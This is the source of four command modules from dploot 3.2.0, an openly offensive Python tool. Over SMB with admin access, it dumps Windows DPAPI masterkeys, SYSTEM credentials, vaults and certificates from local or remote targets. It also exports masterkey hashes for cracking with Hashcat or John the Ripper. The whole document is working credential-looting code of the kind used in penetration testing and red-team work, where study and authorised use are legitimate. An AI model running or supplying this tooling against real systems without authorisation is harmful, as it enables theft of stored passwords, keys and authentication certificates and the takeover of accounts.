dploot 3.2.0__py2.py3-none-any.whl

dploot/action/machinemasterkeys.py

@@ -0,0 +1,117 @@
+import argparse
+from binascii import unhexlify
+import logging
+import sys
+from typing import Callable, Tuple
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
+from dploot.triage.masterkeys import MasterkeysTriage
+
+
+NAME = "machinemasterkeys"
+
+
+class MachineMasterkeysAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.outputfile = None
+        self.outputdir = None
+        
+        self.dpapi_system_key = {}
+        if self.options.dpapi_system_key is not None and self.options.dpapi_system_key != "":
+            correl_table = {"dpapi_machinekey":"MachineKey","dpapi_userkey":"UserKey"}
+            self.dpapi_system_key = {correl_table[k] :unhexlify(v[2:]) for k, v in (elem.split(":") for elem in options.dpapi_system_key.split(","))}
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.outputfile is not None and self.options.outputfile != "":
+            self.outputfile = self.options.outputfile
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            fd = (
+                open(self.outputfile + ".mkf", "a+")
+                if self.outputfile is not None
+                else None
+            )
+
+            def masterkey_callback(masterkey):
+                masterkey.dump()
+                if fd is not None:
+                    fd.write(str(masterkey) + "\n")
+
+            triage = MasterkeysTriage(
+                target=self.target,
+                conn=self.conn,
+                per_masterkey_callback=masterkey_callback,
+                dpapiSystem=self.dpapi_system_key
+            )
+            logging.info("Triage SYSTEM masterkeys\n")
+            triage.triage_system_masterkeys()
+            if self.outputfile is not None:
+                logging.critical("Writting masterkeys to %s.mkf" % self.outputfile)
+                fd.close()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, triage.looted_files)
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = MachineMasterkeysAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME, help="Dump system masterkey from local or remote target"
+    )
+
+    group = subparser.add_argument_group("machinemasterkeys options")
+
+    group.add_argument(
+        "-outputfile",
+        action="store",
+        help=("Export keys to file"),
+    )
+
+    group.add_argument(
+        "-dpapi-system-key",
+        action="store",
+        metavar="dpapi_machinekey:0x0123456789abcdef0123456789abcdef01234567,dpapi_userkey:0x0123456789abcdef0123456789abcdef01234567",
+        help=("Use custom DPAPI SYSTEM keys"),
+    )
+
+    add_target_argument_group(subparser)
+
+    return NAME, entry

dploot/action/machinetriage.py

@@ -0,0 +1,158 @@
+import argparse
+import logging
+import sys
+from typing import Callable, Tuple
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
+from dploot.triage.certificates import CertificatesTriage
+from dploot.triage.credentials import CredentialsTriage
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+from dploot.triage.vaults import VaultsTriage
+
+NAME = "machinetriage"
+
+
+class MachineTriageAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.outputdir = None
+        self.masterkeys = None
+        self.pvkbytes = None
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+
+        if self.is_admin:
+            if self.masterkeys is None:
+
+                def masterkey_callback(masterkey):
+                    masterkey.dump()
+
+                masterkeys_triage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    per_masterkey_callback=masterkey_callback,
+                )
+                logging.info("Triage SYSTEM masterkeys\n")
+                self.masterkeys = masterkeys_triage.triage_system_masterkeys()
+                print()
+                if self.outputdir is not None:
+                    dump_looted_files_to_disk(self.outputdir, masterkeys_triage.looted_files)
+
+            def credential_callback(credential):
+                if self.options.quiet:
+                    credential.dump_quiet()
+                else:
+                    credential.dump()
+
+            credentials_triage = CredentialsTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_credential_callback=credential_callback,
+            )
+            logging.info("Triage SYSTEM Credentials\n")
+            credentials_triage.triage_system_credentials()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, credentials_triage.looted_files)
+
+            vaults_triage = VaultsTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_vault_callback=credential_callback,
+            )
+            logging.info("Triage SYSTEM Vaults\n")
+            vaults_triage.triage_system_vaults()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files)
+
+            def certificate_callback(certificate):
+                if not self.options.dump_all and not certificate.clientauth:
+                    return
+                if not self.options.quiet:
+                    certificate.dump()
+                filename = f"{certificate.username}_{certificate.filename[:16]}.pfx"
+                logging.critical("Writting certificate to %s" % filename)
+                with open(filename, "wb") as f:
+                    f.write(certificate.pfx)
+
+            certificate_triage = CertificatesTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_certificate_callback=certificate_callback,
+            )
+            logging.info("Triage SYSTEM Certificates\n")
+            certificate_triage.triage_system_certificates()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, certificate_triage.looted_files)
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = MachineTriageAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME,
+        help="Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target",
+    )
+
+    group = subparser.add_argument_group("machinetriage options")
+
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=("File containing {GUID}:SHA1 masterkeys mappings"),
+    )
+
+    group.add_argument(
+        "-dump-all",
+        action="store_true",
+        help=("Dump also certificates not used for client authentication"),
+    )
+
+    add_target_argument_group(subparser)
+
+    return NAME, entry

dploot/action/machinevaults.py

@@ -0,0 +1,127 @@
+import argparse
+import logging
+import sys
+from typing import Callable, Tuple
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
+
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+from dploot.triage.vaults import VaultsTriage
+
+
+NAME = "machinevaults"
+
+
+class MachineVaultsAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.masterkeys = None
+        self.outputdir = None
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            if self.masterkeys is None:
+
+                def masterkey_triage(masterkey):
+                    masterkey.dump()
+
+                masterkeytriage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    per_masterkey_callback=masterkey_triage
+                    if not self.options.quiet
+                    else None,
+                )
+                logging.info("Triage SYSTEM masterkeys\n")
+                self.masterkeys = masterkeytriage.triage_system_masterkeys()
+                print()
+                if self.outputdir is not None:
+                    dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
+
+            def secret_callback(vault):
+                if self.options.quiet:
+                    vault.dump_quiet()
+                else:
+                    vault.dump()
+
+            vaults_triage = VaultsTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_vault_callback=secret_callback,
+            )
+            logging.info("Triage SYSTEM Vaults\n")
+            vaults_triage.triage_system_vaults()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files)
+
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = MachineVaultsAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME, help="Dump system vaults from local or remote target"
+    )
+
+    group = subparser.add_argument_group("machinevaults options")
+
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=("File containing {GUID}:SHA1 masterkeys mappings"),
+    )
+
+    group.add_argument(
+        "-outputfile",
+        action="store",
+        help=("Export keys to file"),
+    )
+
+    add_target_argument_group(subparser)
+
+    return NAME, entry

dploot/action/masterkeys.py

@@ -0,0 +1,200 @@
+import argparse
+import logging
+import sys
+from typing import Callable, Dict, Tuple
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option, parse_file_as_dict
+from dploot.triage.masterkeys import MasterkeysTriage
+
+
+NAME = "masterkeys"
+
+
+class MasterkeysAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.outputfile = None
+        self.pvkbytes = None
+        self.passwords = None
+        self.nthashes = None
+        self.outputdir = None
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.outputfile is not None and self.options.outputfile != "":
+            self.outputfile = self.options.outputfile
+
+        self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
+            self.options, self.target
+        )
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            fd = (
+                open(self.outputfile + ".mkf", "a+")
+                if self.outputfile is not None
+                else None
+            )
+
+            def masterkey_callback(masterkey):
+                if masterkey.key is not None:
+                    masterkey.dump()
+                    if fd is not None:
+                        fd.write(str(masterkey) + "\n")
+
+            triage = MasterkeysTriage(
+                target=self.target,
+                conn=self.conn,
+                pvkbytes=self.pvkbytes,
+                nthashes=self.nthashes,
+                passwords=self.passwords,
+                per_masterkey_callback=masterkey_callback,
+            )
+            logging.info("Triage ALL USERS masterkeys\n")
+            triage.triage_masterkeys()
+            if self.outputfile is not None:
+                logging.critical("Writting masterkeys to %s" % self.outputfile)
+                fd.close()
+            if self.options.hashes_outputfile:
+                print()
+                with open(self.options.hashes_outputfile, "a+") as hashes_fd:
+                    for mkhash in [mkhash for masterkey in triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]:
+                        print(mkhash)
+                        hashes_fd.write(mkhash + "\n")
+                    print()
+                    logging.critical("Writting masterkey hashes to %s" % self.options.hashes_outputfile)
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, triage.looted_files)
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = MasterkeysAction(options)
+    a.run()
+
+
+def parse_masterkeys_options(
+    options: argparse.Namespace, target: Target
+) -> Tuple[bytes, Dict[str, str], Dict[str, str]]:
+    pvkbytes = None
+    passwords = {}
+    nthashes = {}
+    if hasattr(options, "pvk") and options.pvk is not None:
+        try:
+            pvkbytes = open(options.pvk, "rb").read()
+        except Exception as e:
+            logging.error(str(e))
+            sys.exit(1)
+
+    if hasattr(options, "passwords") and options.passwords is not None:
+        try:
+            passwords = parse_file_as_dict(options.passwords)
+        except Exception as e:
+            logging.error(str(e))
+            sys.exit(1)
+
+    if hasattr(options, "nthashes") and options.nthashes is not None:
+        try:
+            nthashes = parse_file_as_dict(options.nthashes)
+        except Exception as e:
+            logging.error(str(e))
+            sys.exit(1)
+
+    if target.password is not None and target.password != "":
+        if passwords is None:
+            passwords = {}
+        passwords[target.username] = target.password
+
+    if target.nthash is not None and target.nthash != "":
+        if nthashes is None:
+            nthashes = {}
+        nthashes[target.username] = target.nthash.lower()
+
+    if nthashes is not None:
+        nthashes = {k.lower(): v.lower() for k, v in nthashes.items()}
+
+    if passwords is not None:
+        passwords = {k.lower(): v for k, v in passwords.items()}
+
+    return pvkbytes, passwords, nthashes
+
+
+def add_masterkeys_argument_group(group: argparse._ArgumentGroup) -> None:
+    group.add_argument(
+        "-pvk",
+        action="store",
+        help=("Pvk file with domain backup key"),
+    )
+
+    group.add_argument(
+        "-passwords",
+        action="store",
+        help=(
+            "File containing username:password that will be used eventually to decrypt masterkeys"
+        ),
+    )
+
+    group.add_argument(
+        "-nthashes",
+        action="store",
+        help=(
+            "File containing username:nthash that will be used eventually to decrypt masterkeys"
+        ),
+    )
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME, help="Dump users masterkey from local or remote target"
+    )
+
+    group = subparser.add_argument_group("masterkeys options")
+
+    add_masterkeys_argument_group(group)
+
+    group.add_argument(
+        "-outputfile",
+        action="store",
+        help=("Export keys to file"),
+    )
+
+    group.add_argument(
+        "-hashes-outputfile",
+        action="store",
+        help=("Export hashes of masterkeys to file in Hashcat/JtR format"),
+    )
+
+    add_target_argument_group(subparser)
+
+    return NAME, entry